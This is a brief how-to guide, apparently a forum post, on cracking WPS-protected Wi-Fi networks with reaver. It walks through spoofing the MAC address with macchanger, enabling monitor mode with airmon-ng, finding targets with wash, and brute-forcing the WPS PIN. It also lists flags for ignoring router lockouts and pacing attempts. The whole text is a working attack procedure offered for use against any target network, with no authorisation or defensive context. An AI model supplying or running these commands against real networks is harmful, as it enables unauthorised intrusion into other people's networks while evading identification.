How to crack WPS enabled networks :

REAVER: WPS SYSTEMS (wireless protected setup)

(tool included with backtrack/kali)

NOTE: try to spoof your computer before running reaver sometimes it won't work but atleast try to spoof!!!

open a terminal and type:

1) ifconfig wlan0 down

2) macchanger -r wlan0

3) ifconfig wlan0 up

type: ifconfig (to make sure your mac was spoofed)

REAVER:

open a terminal and type:

1) airmon-ng start wlan0 (*wlan0 or your current interface)

NOTE: this will start mon0 mode:

spoof mon0:

ifconfig mon0 down

macchanger -r mon0

ifconfig mon0 up

2) find target wps enabled network: open a new terminal and type:

wash -i mon0

3) start attack:

reaver -i (interface) -c (channel #) -b (target bssid) -vv

example: reaver -i mon0 -c 7 -b F6:00:14:D4:11:D0 -vv

4) now let reaver run until the pin is cracked,
this could take anywhere from 4 - 24 hours to crack

---------------------------------
notes:

1) if reaver hangs press: control + C, this saves the current session,
shut down the terminal and restart reaver,
at times you may need to reboot your computer.

2) command line examples :

reaver -i mon0 -c 7 -b F6:00:14:D4:11:D0 -vv -S -N -L -d 15 -r 3:15 -T .5 -x 360

-S = small keys (faster cracking attempts)
-N = no nacks or out of order packets
-L = ignore locks
-d 15 = delay 15 seconds between attempts, you can choose your set time to delay
-r 3:15 = reoccuring delay 15 seconds for every 3 attempts,
you can choose your set time for every amount of X attempts
-T .5 = message timeout period, measured in seconds
-x 360 = sleep time period for 10 failed attempts, measured in seconds

good command lines :

reaver -i mon0 -c 7 -b F6:00:14:D4:11:D0 -vv -S -N -L -x 60